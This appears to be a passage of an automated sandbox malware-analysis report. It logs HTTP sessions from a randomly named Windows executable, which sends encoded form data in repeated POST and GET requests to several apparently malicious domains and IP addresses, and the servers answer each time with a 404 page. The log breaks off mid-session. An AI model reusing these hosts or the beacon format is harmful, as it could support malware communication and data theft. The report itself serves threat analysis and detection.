                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                3192.168.2.95745645.141.156.114803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:29.033485889 CET1744OUTPOST /ctvu/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.logidant.xyz
                                                                Origin: http://www.logidant.xyz
                                                                Referer: http://www.logidant.xyz/ctvu/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 36 32 53 54 37 57 34 47 55 64 56 76 79 69 6c 46 7a 4c 42 4d 4d 32 41 69 71 67 70 76 54 77 52 77 78 68 63 6a 62 53 31 72 38 44 78 44 36 32 56 42 65 69 65 47 4b 4e 6c 64 73 75 6b 48 38 6d 5a 63 51 64 77 6a 6f 79 42 70 49 31 57 65 6b 51 34 39 30 4f 74 7a 66 5a 35 54 36 76 4d 44 74 33 78 6d 75 6f 38 41 34 44 4d 70 62 6d 4a 59 43 31 76 70 68 5a 41 41 56 66 52 42 57 57 62 56 41 33 4c 62 49 66 79 56 6f 66 63 42 48 33 32 45 6a 4e 69 33 46 31 44 33 46 5a 6b 6b 63 65 76 65 70 53 7a 7a 43 4d 73 4b 63 70 2f 76 72 30 6c 36 37 76 55 30 48 63 6d 63 46 34 78 79 77 34 71 2f 69 42 71 32 55 78 52 41 46 54 69 42 37 6c 45 38 69 36 42 41 73 6d 6d 47 59 54 4e 64 32 56 62 4e 64 69 76 48 62 30 59 4d 64 33 30 37 62 34 69 4e 76 4a 63 4f 6c 30 31 77 72 58 43 78 72 51 70 6f 55 46 2f 66 51 31 6d 31 56 6d 76 76 48 33 4f 37 48 66 7a 4a 63 39 2f 5a 47 46 61 4d 36 7a 4c 77 55 58 33 6a 71 6e 74 63 7a 36 35 45 66 52 56 30 71 73 76 30 48 64 79 52 66 41 36 5a 67 58 4b 57 41 6d 43 65 55 37 2b 54 6f 74 72 71 6f 41 46 77 72 [TRUNCATED]
                                                                Data Ascii: JNL8=62ST7W4GUdVvyilFzLBMM2AiqgpvTwRwxhcjbS1r8DxD62VBeieGKNldsukH8mZcQdwjoyBpI1WekQ490OtzfZ5T6vMDt3xmuo8A4DMpbmJYC1vphZAAVfRBWWbVA3LbIfyVofcBH32EjNi3F1D3FZkkcevepSzzCMsKcp/vr0l67vU0HcmcF4xyw4q/iBq2UxRAFTiB7lE8i6BAsmmGYTNd2VbNdivHb0YMd307b4iNvJcOl01wrXCxrQpoUF/fQ1m1VmvvH3O7HfzJc9/ZGFaM6zLwUX3jqntcz65EfRV0qsv0HdyRfA6ZgXKWAmCeU7+TotrqoAFwrAX+t5qqfcEew4LYGxVKkBbFJTQyBJXhNTVizmviJEUlBHfPpxBxcraAOOVylKYCJqPM7I1axVuEATZzVLDbwebJqnVWsZ4ou97sU+8sze49VseZRCrdSwmqymWW12DG5s/Pb9cbU10RPkgJX4T5IJ7NTcvTIxoKoXEa2+VGiNsu+fE+ZJygm/wRKHL8ITVlBeoU8G5YyQ3FJO4MIRpzrFKZiUuQpsWFTAz0FIs4Kvk/b8LaIoqAmraG99GPeKm/9F7a9nBN+RDpJPQxbiKG4QhOzhRLwxZMYeCf9Sp1ce3jfXpbpBB/xXM9EzOCUczp3y+BMAGVlN80lLFMGMqECMOSq7PdQ8qDGrD4FnHPv0IXGg78U3z86rsQMvasKn5s5ecXdTI1rIIitAoGVJsdJMSu3ekvzrd8Kopk1gOerbV/G3oSdKYafLTFW7Q0/81P0MIBa5/oXhHC1L4ANDT5A6GZmfv/r5/YASNxjWEGTG6ytAMmnVruIXF59urrC67khd4MznLZaNqzCKxIC1sVCIcly9aCoyQAONIPwVOWNqMXB27+nQn5hrJ1pwkSzJTpEpbi90qVxpWMjPDenFTSY307O6cdO5fE0qcYY97JHNuWV3UlzGsjLHvGVPPovFJ2rpxPyHXM4H7MGpkB62ga20CIwoMPp3ck3Dw [TRUNCATED]
                                                                Nov 20, 2024 10:26:29.707784891 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:29 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                4192.168.2.95745745.141.156.114803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:31.581655979 CET449OUTGET /ctvu/?JNL8=306z4jMFZ8cLvHYY85VQdnEVrU0EcxNOzz9oMF1ntEZl1SQIBC+VKPA8lqMh/UdrcskgnhZVBAq8zTFw0YpHcNpskMEX/Vp/870g00gMcVdrHWaYzA==&X88x4=H6Ch8lj0uBw HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.logidant.xyz
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:26:32.266685009 CET289INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:32 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 146
                                                                Connection: close
                                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                5192.168.2.957458154.23.184.194803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:37.648385048 CET698OUTPOST /bryf/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.wcq77.top
                                                                Origin: http://www.wcq77.top
                                                                Referer: http://www.wcq77.top/bryf/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 50 43 78 44 55 6d 72 38 45 76 69 67 52 79 70 6d 72 52 78 47 6a 43 4d 45 33 67 49 6a 64 2f 72 50 4e 50 41 74 2f 71 66 4e 74 74 77 63 6a 31 36 78 31 57 72 72 39 54 34 4b 65 69 53 79 41 30 30 37 79 31 68 70 72 42 52 34 5a 42 79 52 64 70 63 74 66 72 48 36 51 34 2f 41 36 7a 6a 31 35 55 56 4a 6d 69 2b 65 42 35 6c 44 38 6c 42 30 6f 75 59 39 67 41 56 38 4f 64 73 63 32 78 39 4a 39 41 4e 77 76 74 39 44 39 61 6b 71 30 77 75 7a 7a 79 42 55 73 4d 5a 34 4b 34 75 32 78 2b 79 53 64 4f 31 75 67 65 75 4e 51 57 52 6c 58 37 4a 6d 64 67 70 79 73 6e 30 58 67 32 62 73 68 35 78 49
                                                                Data Ascii: JNL8=PCxDUmr8EvigRypmrRxGjCME3gIjd/rPNPAt/qfNttwcj16x1Wrr9T4KeiSyA007y1hprBR4ZByRdpctfrH6Q4/A6zj15UVJmi+eB5lD8lB0ouY9gAV8Odsc2x9J9ANwvt9D9akq0wuzzyBUsMZ4K4u2x+ySdO1ugeuNQWRlX7Jmdgpysn0Xg2bsh5xI
                                                                Nov 20, 2024 10:26:38.666562080 CET312INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:38 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 148
                                                                Connection: close
                                                                ETag: "66a7b148-94"
                                                                Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                6192.168.2.957459154.23.184.194803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:40.196868896 CET722OUTPOST /bryf/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.wcq77.top
                                                                Origin: http://www.wcq77.top
                                                                Referer: http://www.wcq77.top/bryf/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 6b 63 74 33 69 78 30 58 72 72 2b 54 34 4b 56 43 53 33 45 30 30 67 79 31 64 48 72 42 74 34 5a 42 6d 52 64 6f 73 74 63 59 76 35 51 6f 2f 43 79 54 6a 7a 30 30 56 4a 6d 69 2b 65 42 35 78 70 38 6c 4a 30 6f 39 51 39 67 69 39 2f 41 39 73 66 67 42 39 4a 35 41 4e 38 76 74 39 6c 39 62 4a 4e 30 79 57 7a 7a 33 39 55 73 39 5a 33 54 49 75 30 73 4f 7a 43 4d 66 63 6a 67 39 69 6e 65 77 46 7a 42 64 4e 42 54 68 56 73 39 56 39 4d 31 68 62 4c 6d 65 34 67 36 71 64 51 33 48 44 37 5a 58 70 51 64 46 2f 57 30 53 52 4f 36 51 3d 3d
                                                                Data Ascii: JNL8=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtfkct3ix0Xrr+T4KVCS3E00gy1dHrBt4ZBmRdostcYv5Qo/CyTjz00VJmi+eB5xp8lJ0o9Q9gi9/A9sfgB9J5AN8vt9l9bJN0yWzz39Us9Z3TIu0sOzCMfcjg9inewFzBdNBThVs9V9M1hbLme4g6qdQ3HD7ZXpQdF/W0SRO6Q==
                                                                Nov 20, 2024 10:26:41.122088909 CET312INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:40 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 148
                                                                Connection: close
                                                                ETag: "66a7b148-94"
                                                                Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                7192.168.2.957460154.23.184.194803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:42.922893047 CET1735OUTPOST /bryf/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 1229
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.wcq77.top
                                                                Origin: http://www.wcq77.top
                                                                Referer: http://www.wcq77.top/bryf/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 50 43 78 44 55 6d 72 38 45 76 69 67 44 48 35 6d 70 77 78 47 69 69 4d 4c 37 41 49 6a 45 76 72 54 4e 50 4d 74 2f 76 76 64 74 66 38 63 74 47 43 78 31 30 7a 72 2f 54 34 4b 4f 69 53 32 45 30 31 77 79 31 31 4c 72 42 68 43 5a 43 65 52 63 4b 6b 74 58 4a 76 35 62 6f 2f 43 77 54 6a 79 35 55 55 4c 6d 6d 69 61 42 35 68 70 38 6c 4a 30 6f 38 41 39 6d 77 56 2f 43 39 73 63 32 78 38 47 39 41 4d 72 76 74 6c 62 39 62 4d 36 30 42 65 7a 39 33 4e 55 38 66 78 33 61 49 75 71 76 4f 79 48 4d 66 42 6a 67 39 2f 55 65 77 5a 64 42 61 68 42 52 30 4d 49 35 47 5a 42 33 7a 72 42 6a 5a 6b 59 69 74 70 58 2f 31 47 35 50 47 68 6d 64 52 71 33 69 68 4a 46 70 30 71 31 74 4d 55 48 70 50 70 70 77 62 64 77 6a 67 4d 4e 54 73 6b 75 35 5a 31 37 5a 62 44 68 34 38 72 61 38 4e 57 74 41 34 2f 43 45 6b 49 68 52 39 79 51 73 36 67 5a 46 6c 4a 4e 51 2f 45 79 33 4a 44 6d 72 6d 34 6c 2f 2f 51 62 32 48 54 4e 67 54 36 75 77 65 44 71 6a 38 66 7a 47 49 30 6d 76 5a 74 58 31 6d 64 34 4e 71 35 37 75 4b 4d 2f 59 65 7a 41 48 67 76 63 35 48 5a 2f 6f [TRUNCATED]
                                                                Data Ascii: JNL8=PCxDUmr8EvigDH5mpwxGiiML7AIjEvrTNPMt/vvdtf8ctGCx10zr/T4KOiS2E01wy11LrBhCZCeRcKktXJv5bo/CwTjy5UULmmiaB5hp8lJ0o8A9mwV/C9sc2x8G9AMrvtlb9bM60Bez93NU8fx3aIuqvOyHMfBjg9/UewZdBahBR0MI5GZB3zrBjZkYitpX/1G5PGhmdRq3ihJFp0q1tMUHpPppwbdwjgMNTsku5Z17ZbDh48ra8NWtA4/CEkIhR9yQs6gZFlJNQ/Ey3JDmrm4l//Qb2HTNgT6uweDqj8fzGI0mvZtX1md4Nq57uKM/YezAHgvc5HZ/oonTRgT4Nt/5LTcSXS0491kDbYolvXtSio88R4tyrbhuWOnuUxRg+es0h/6cvS6G5Zu1o77MRvrpzxPK8tkTowbJ2wccayW60iidg+YPt7N1KOhLTcPfApuCd+D2qbuWHu4p6FUcu76wMXbCSfGLPUs156PmwZCBq3iPgWC93DzVpjMXGEhW69fVUs2CWrM+rscySIq7LY1xOpD2iu5ikQXjih9dyq13p3q4u6Hd1oan9Z6bUpy2atsG84/qqpFpmoKOLaz9JFhW5Yi5ISE4SOKyBd7AX2tiZUnbvPByg2tzvh+3gX1kwwaMDDRQRW6KhmQ51XTrLVGEhpUssV0QYK2Sh85D+6+1rMVpq0WXgvm5+bFwJrAyfGBPZrmBD4ZzMcnnNabKx9GJz4+ITcCJUXfsgbML/7f2t+pAwCL/DTBpE+/NV2v2DjR55191DosF6XMGzxvrRKfy/stF7ujCmgYT5xMuPtt+56pjf3Sfmp2cZsaEn8h7aFEopr4KrDlS66GDoHyjm1av0+xgHZpcYRHnzK2kEuI4DEDJSoq2yjx+M7JImAFTYMqUV68hynaJllJbeoPmG12tC9hRqojjw/Olun4HoGsey0yhT0akARajObMB4DIGyWYb2QRWM1BhG0EBoK9R+ryUWz+2EqCwjAoJgfvhIqwL3Dj [TRUNCATED]
                                                                Nov 20, 2024 10:26:43.695416927 CET312INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:43 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 148
                                                                Connection: close
                                                                ETag: "66a7b148-94"
                                                                Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                8192.168.2.957461154.23.184.194803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:45.519133091 CET446OUTGET /bryf/?X88x4=H6Ch8lj0uBw&JNL8=CAZjXQbNTKeWQTQjkjtYjT8g3WYbNJL1UeVU1dDfkJwpgmj9+23WxzoueliXKU0GrnZ7rAlARHmYQrQtVPfpU9j97yvZuhtMhzyAI/NJ21l8xuZT6w== HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Language: en-US,en;q=0.5
                                                                Connection: close
                                                                Host: www.wcq77.top
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Nov 20, 2024 10:26:46.412520885 CET312INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Wed, 20 Nov 2024 09:26:46 GMT
                                                                Content-Type: text/html
                                                                Content-Length: 148
                                                                Connection: close
                                                                ETag: "66a7b148-94"
                                                                Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20
                                                                Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                9192.168.2.957462209.74.77.108803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:51.587769985 CET713OUTPOST /grm8/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 193
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mindfulmo.life
                                                                Origin: http://www.mindfulmo.life
                                                                Referer: http://www.mindfulmo.life/grm8/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                Data Raw: 4a 4e 4c 38 3d 47 56 32 6f 56 70 48 78 4e 39 77 61 77 6b 4b 54 4e 39 71 52 6e 43 79 73 54 4a 2f 78 39 4c 56 32 52 41 33 30 49 49 51 48 6c 52 30 37 36 69 4b 61 45 67 6d 51 33 2f 44 4d 4e 77 2b 2b 62 51 35 70 35 4b 75 67 6b 57 34 47 36 30 54 42 75 6a 6e 38 7a 5a 4c 79 56 59 46 45 55 30 64 55 36 73 66 43 56 76 34 63 52 4e 34 41 48 47 2f 30 2b 70 44 51 62 4e 6a 69 7a 47 55 45 50 48 32 33 48 61 42 38 4b 76 59 30 67 30 43 6a 51 34 72 71 69 47 76 4c 6a 57 79 32 4c 36 4f 58 42 37 38 5a 47 78 39 6a 4b 59 68 4b 30 58 51 72 6d 45 36 6d 32 58 6e 2b 61 4c 73 63 4e 62 74 4d 2f 73 4f 48
                                                                Data Ascii: JNL8=GV2oVpHxN9wawkKTN9qRnCysTJ/x9LV2RA30IIQHlR076iKaEgmQ3/DMNw++bQ5p5KugkW4G60TBujn8zZLyVYFEU0dU6sfCVv4cRN4AHG/0+pDQbNjizGUEPH23HaB8KvY0g0CjQ4rqiGvLjWy2L6OXB78ZGx9jKYhK0XQrmE6m2Xn+aLscNbtM/sOH
                                                                Nov 20, 2024 10:26:52.163461924 CET533INHTTP/1.1 404 Not Found
                                                                Date: Wed, 20 Nov 2024 09:26:52 GMT
                                                                Server: Apache
                                                                Content-Length: 389
                                                                Connection: close
                                                                Content-Type: text/html
                                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                10192.168.2.957463209.74.77.108803776C:\Program Files (x86)\tALhGqqWYkFKtLFXuoLpEbrUxmZVcBFfAYOxSbNzlVuzCCsIpl\BzEfnSVbdFtPTT.exe
                                                                TimestampBytes transferredDirectionData
                                                                Nov 20, 2024 10:26:54.143395901 CET737OUTPOST /grm8/ HTTP/1.1
                                                                Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                Accept-Encoding: gzip, deflate, br
                                                                Accept-Language: en-US,en;q=0.5
                                                                Cache-Control: no-cache
                                                                Content-Length: 217
                                                                Connection: close
                                                                Content-Type: application/x-www-form-urlencoded
                                                                Host: www.mindfulmo.life
                                                                Origin: http://www.mindfulmo.life
                                                                Referer: http://www.mindfulmo.life/grm8/
                                                                User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
